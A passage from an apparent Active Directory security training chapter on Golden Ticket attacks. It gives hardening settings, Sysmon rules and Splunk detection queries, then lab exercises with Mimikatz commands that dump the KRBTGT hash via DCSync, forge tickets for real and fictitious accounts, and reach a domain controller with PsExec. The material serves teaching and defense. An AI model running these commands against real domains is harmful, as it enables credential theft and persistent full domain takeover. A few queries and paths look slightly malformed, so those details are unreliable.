This prevents tools like Mimikatz from directly accessing LSASS memory to extract the KRBTGT key.

Monitor LSASS Access

Configure Sysmon to detect LSASS access:

Sysmon Event ID 10 - Process Access:

xml
<RuleGroup name="LSASS Access Detection" groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="end with">lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1010</GrantedAccess>
    <GrantedAccess condition="is">0x1410</GrantedAccess>
  </ProcessAccess>
</RuleGroup>

Alert on any LSASS access from non-system processes.

Restrict Service Ticket Lifetimes ​

Configure Group Policy to enforce shorter ticket lifetimes:

Computer Configuration > Policies > Windows Settings > Security Settings > Account Policies > Kerberos Policy

Maximum lifetime for user ticket: 4 hours
Maximum lifetime for user ticket renewal: 1 day

Shorter lifetimes:

  • Reduce Golden Ticket effectiveness (attacker must use tickets within short window)
  • Force more frequent TGT renewals (generating Event ID 4770 that Golden Tickets skip)
  • Limit damage window if Golden Ticket is detected

Enforce AES Encryption ​

Disable RC4 and enforce AES-only Kerberos:

Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options

Network security: Configure encryption types allowed for Kerberos
Enable: AES128_HMAC_SHA1, AES256_HMAC_SHA1
Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5

Benefits:

  • Stronger encryption (AES-256 vs RC4)
  • Detection opportunity (RC4 Golden Tickets in AES-only environment are obvious)

Note: Requires Windows Server 2008+ and functional level 2008+.

Enable PAC Validation ​

Ensure domain controllers validate PAC signatures:

powershell
# Verify PAC validation is enabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "ValidateKdcPacSignature"

# Should be 1 (enabled)
# If not, enable:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "ValidateKdcPacSignature" -Value 1

PAC validation ensures the authorization data in tickets was signed by a legitimate KDC. Golden Tickets must correctly sign the PAC with the KRBTGT key (which they can if the attacker has the key), but any PAC manipulation errors will be detected.

Monitoring and Alerting ​

Implement comprehensive Golden Ticket detection:

Alert 1: Service Ticket Without Recent TGT

sql
-- Splunk query
index=windows EventCode=4769
| eval user_dc=TargetUserName."@".Computer
| join type=left user_dc [
    search index=windows EventCode=4768 earliest=-20m
    | eval user_dc=TargetUserName."@".Computer
  ]
| where isnull(EventCode_4768)
| alert

Alert 2: Disabled Account Authentication

sql
-- Query AD for disabled accounts, correlate with authentication events
index=windows EventCode=4769
| lookup ad_users samAccountName AS TargetUserName OUTPUT UserAccountControl
| where (UserAccountControl & 0x0002 = 1)  -- Account disabled
| alert "Disabled account showing Kerberos activity (possible Golden Ticket)"

Alert 3: Encryption Downgrade

sql
-- Alert on RC4 tickets in AES-only environment
index=windows EventCode=4769 TicketEncryptionType=0x17
| alert "RC4 ticket detected in AES-only environment"

Alert 4: KRBTGT Hash Change

sql
-- Alert when KRBTGT password changes (should be rare)
index=windows EventCode=4724 TargetUserName="krbtgt"
| alert "KRBTGT password changed"

Privileged Access Management ​

Implement controls that reduce KRBTGT key exposure:

Tiered Administration:

  • Tier 0: Domain controllers and critical infrastructure only
  • Separate admin accounts for Tier 0 vs. workstations
  • Tier 0 admins never log into non-Tier 0 systems (prevents credential theft)

Just-In-Time Administration:

  • Grant Domain Admin rights only when needed, for limited duration
  • Automatically revoke after time limit expires
  • Reduces window for KRBTGT key extraction

Privileged Access Workstations (PAWs):

  • Dedicated, hardened workstations for domain administration
  • No internet access, no email, no regular productivity apps
  • Prevents compromise vectors that lead to KRBTGT extraction

Practical Exercises ​

Exercise 1: Creating and Using a Golden Ticket ​

Objective: Create a Golden Ticket and use it to authenticate to domain resources.

Prerequisites:

  • Active Directory lab environment
  • Domain Admin access (for initial setup)
  • Mimikatz on Windows attack system

Steps:

  1. Extract the KRBTGT hash using DCSync:

    mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local

[Note the NTLM hash and AES256 key]

  2. Obtain the domain SID:

    mimikatz # lsadump::trust

Domain SID: S-1-5-21-...

  3. Create a Golden Ticket for the Administrator account:

    mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-... /aes256:<key> /ptt

  4. Verify the ticket is loaded:

    mimikatz # kerberos::list

[Should show TGT for Administrator with long lifetime]

  5. Test authentication to domain controller:

    C:\> dir \dc01.lab.local\c$

[Should succeed without password prompt]

  6. Test PsExec to domain controller:

    C:\> PsExec64.exe \dc01.lab.local cmd

[Should spawn command prompt on DC]

  7. Create a Golden Ticket for a non-existent user:

    mimikatz # kerberos::golden /user:FakeAdmin /domain:lab.local /sid:S-1-5-21-... /id:9999 /aes256:<key> /endin:18 /ptt

  8. Test authentication within 18 minutes:

    C:\> dir \dc01.lab.local\c$

[Should succeed]

  9. Wait 20+ minutes and test again:

    C:\> dir \dc01.lab.local\c$

[Should fail - DC validates non-existent account after 20 minutes]

Expected Results:

  • Real account Golden Ticket works indefinitely
  • Fake account Golden Ticket works for <20 minutes, then fails

Discussion: Why does the 20-minute threshold exist? How could defenders detect this activity in Event ID 4768/4769 logs?

Exercise 2: Detecting Golden Tickets with Event Log Analysis ​

Objective: Identify Golden Ticket usage through Windows Event Log analysis.

Prerequisites:

  • Domain controller with auditing enabled
  • Golden Ticket created and used (Exercise 1)
  • Access to domain controller Security event logs

Steps:

  1. Review Event ID 4768 (TGT requests) for the Administrator account:

    powershell
    Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
  Where-Object {$_.Properties[0].Value -eq 'Administrator'} |
  Select-Object TimeCreated, @{Name='User';Expression={$_.Properties[0].Value}}

  2. Review Event ID 4769 (service ticket requests) for Administrator:

    powershell
    Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} |
  Where-Object {$_.Properties[0].Value -eq 'Administrator'} |
  Select-Object TimeCreated, @{Name='Service';Expression={$_.Properties[1].Value}}

  3. Correlate: Look for Event ID 4769 without recent Event ID 4768 (Golden Ticket indicator).

  4. Examine Event ID 4624 (logon) details:

    powershell
    Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} |
  Where-Object {$_.Properties[5].Value -eq 'Administrator'} |
  Select-Object TimeCreated, @{Name='Domain';Expression={$_.Properties[6].Value}}

  5. Check domain name format in Event ID 4624:

    • FQDN (e.g., "LAB.LOCAL") = possible Golden Ticket
    • NetBIOS (e.g., "LAB") = likely legitimate

  6. Check encryption types in Event ID 4769:

    powershell
    Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} |
  Where-Object {$_.Properties[0].Value -eq 'Administrator'} |
  Select-Object TimeCreated, @{Name='EncType';Expression={$_.Properties[7].Value}}
    • 0x17 (RC4) in AES-only environment = Golden Ticket
    • 0x12 (AES256) = matches legitimate tickets

  7. Query for authentication by disabled accounts:

    powershell
    # First, disable the Administrator account
Disable-ADAccount -Identity Administrator

# Then use Golden Ticket to authenticate
# Check Event ID 4769 - should still show authentication despite disabled account

Expected Findings:

  • Service ticket requests without TGT requests
  • FQDN domain name in Event ID 4624
  • Authentication continuing after account is disabled (first 20 minutes)

Discussion: Which of these indicators is most reliable? How could an attacker evade each detection method?

Exercise 3: KRBTGT Password Rotation ​

Objective: Rotate the KRBTGT password to invalidate Golden Tickets.

Prerequisites:

  • Domain Admin access
  • Active Golden Ticket created in Exercise 1
  • New-KrbtgtKeys.ps1 script from Microsoft

Steps:

  1. Verify Golden Ticket works before rotation:

    mimikatz # kerberos::ptt golden.kirbi
C:\> dir \dc01.lab.local\c$

[Should succeed]

  2. Perform first KRBTGT password rotation:

    powershell
    .\New-KrbtgtKeys.ps1 -Scope DomainWide -Domain lab.local

  3. Test Golden Ticket after first rotation:

    C:\> dir \dc01.lab.local\c$

[Should still work - old password is still valid during grace period]

  4. Wait for maximum TGT lifetime (10 hours in production, can be shortened for lab):

    powershell
    # Optionally, temporarily reduce TGT lifetime for faster testing:
# Set Kerberos Policy: Maximum lifetime for user ticket = 10 minutes
# Wait 10 minutes

  5. Perform second KRBTGT password rotation:

    powershell
    .\New-KrbtgtKeys.ps1 -Scope DomainWide -Domain lab.local

  6. Test Golden Ticket after second rotation:

    mimikatz # kerberos::ptt golden.kirbi
C:\> dir \dc01.lab.local\c$

[Should FAIL - Golden Ticket is now invalid]

  7. Verify error message:

    Access is denied.

[Domain controller cannot decrypt the ticket with new KRBTGT keys]

  8. Create new Golden Ticket with new KRBTGT key:

    mimikatz # lsadump::dcsync /user:krbtgt
[Note new NTLM/AES keys]

mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-... /aes256:<new_key> /ptt

C:\> dir \dc01.lab.local\c$
[Should succeed with new ticket]

Expected Results:

  • Golden Ticket remains valid through first rotation
  • Golden Ticket becomes invalid after second rotation
  • New Golden Ticket (with new KRBTGT key) works after rotation

Discussion: Why are two rotations required? What is the operational impact of KRBTGT rotation on legitimate users?

Summary ​

Golden Ticket attacks represent the apex of Kerberos-based domain persistence, providing attackers with the ability to forge cryptographically valid Ticket-Granting Tickets that grant unlimited domain access. The attack's foundation lies in obtaining the KRBTGT account's long-term key - whether through DCSync, direct LSASS access on domain controllers, or offline analysis of ntds.dit. With this single key, attackers can create TGTs for any user (real or fictional), with any group memberships, and with arbitrary lifetimes, all while bypassing Protected Users restrictions, smart card requirements, and account status checks.

The technical mechanics reveal why Golden Tickets are so powerful: TGTs are encrypted and signed with the KRBTGT key, and domain controllers have no way to distinguish between legitimate TGTs issued by the KDC and forged TGTs created with the same key. Both contain valid PAC structures, proper encryption, and correct signatures. The tickets pass all cryptographic validation checks because they are, from a technical perspective, legitimate tickets - they just weren't issued by the KDC. This cryptographic validity makes Golden Tickets extremely difficult to detect through traditional signature-based security controls.

From an operational perspective, Mimikatz's kerberos::golden command makes Golden Ticket creation straightforward, requiring only the domain name, domain SID, and KRBTGT key. Advanced techniques like SIDHistory injection enable forest-wide compromise from a single child domain, while operational best practices (realistic ticket lifetimes, AES encryption, existing account impersonation) help evade detection systems. The ability to save tickets to files or encode them in Base64 supports both immediate use and long-term persistence planning.

Detection strategies must focus on behavioral anomalies rather than cryptographic signatures. Key indicators include service ticket requests without corresponding TGT requests (Event ID 4769 without recent Event ID 4768), FQDN domain names in Event ID 4624 (instead of NetBIOS names), authentication by disabled or non-existent accounts, and encryption type downgrades (RC4 in AES-only environments). Microsoft Defender for Identity provides dedicated Golden Ticket detection through account validation, time anomaly detection, and PAC analysis, but even these advanced controls can be evaded by sophisticated attackers who mimic legitimate ticket characteristics.

Defensive countermeasures center on protecting the KRBTGT key and regularly rotating the KRBTGT password. Preventing KRBTGT extraction requires restricting DCSync permissions, enabling LSASS protection on domain controllers, and monitoring LSASS access attempts. When compromise occurs or as part of routine security hygiene, KRBTGT password rotation (performed twice with a waiting period) immediately invalidates all existing Golden Tickets. Organizations should rotate KRBTGT passwords at least annually, immediately after suspected compromise, and more frequently in high-security environments.

The broader lesson for Active Directory security is that the KRBTGT account represents a single point of failure for the entire domain. Its compromise enables indefinite, undetectable access that persists through password resets, account lockouts, and most other remediation actions. Protecting this account through strong DC security, regular password rotation, comprehensive monitoring, and tiered administration models is essential for preventing Golden Ticket attacks and maintaining overall domain security integrity.

Cross-References ​

Previous Chapter ​

Chapter 29: Pass-The-Cache - Covered cross-platform ticket operations, setting the foundation for understanding ticket formats and manipulation across different systems.

Next Chapter ​

Chapter 31: Silver Ticket - Will examine forging service tickets (TGS) instead of TGTs, providing targeted access to specific services without requiring KRBTGT key access.

  • Chapter 24: Kerberos Overview (TGT/TGS flow, PAC structure, encryption types)
  • Chapter 25: Kerberos Tickets (Ticket structure, extraction, KIRBI format)
  • Chapter 26: Pass-The-Ticket (Using legitimate tickets for lateral movement)
  • Chapter 28: Over-Pass-The-Hash (Converting hashes to Kerberos tickets)
  • Chapter 32: Kerberoasting (Attacking service account credentials)